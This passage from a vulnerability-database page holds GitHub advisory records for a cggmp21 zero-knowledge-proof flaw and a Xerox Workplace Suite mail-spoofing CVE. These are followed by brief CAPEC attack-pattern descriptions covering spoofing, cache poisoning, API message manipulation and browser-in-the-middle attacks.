"published": "2025-11-25T20:41:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/LFDT-Lockness/cggmp21/security/advisories/GHSA-m95p-425x-x889"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66016"
},
{
"type": "WEB",
"url": "https://github.com/LFDT-Lockness/cggmp21/commit/60e0ada5291e771d5649793329d99edd32285e72"
},
{
"type": "PACKAGE",
"url": "https://github.com/LFDT-Lockness/cggmp21"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0129.html"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2025-0130.html"
},
{
"type": "WEB",
"url": "https://www.dfns.co/article/cggmp21-vulnerabilities-patched-and-explained"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cggmp21 has a missing check in the ZK proof used in CGGMP21"
}
GHSA-M9G8-46V9-PJP2
Vulnerability from github – Published: 2025-01-23 18:31 – Updated: 2025-01-29 12:31{
"affected": [],
"aliases": [
"CVE-2024-55929"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T18:15:32Z",
"severity": "MODERATE"
},
"details": "Mail spoofing",
"id": "GHSA-m9g8-46v9-pjp2",
"modified": "2025-01-29T12:31:45Z",
"published": "2025-01-23T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55929"
},
{
"type": "WEB",
"url": "https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-Workplace-Suite%C2%AE.pdf"
},
{
"type": "WEB",
"url": "https://securitydocs.business.xerox.com/wp-content/uploads/2025/01/Xerox-Security-Bulletin-XRX25-002-for-Xerox%C2%AE-WorkplaceSuite%C2%AE.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.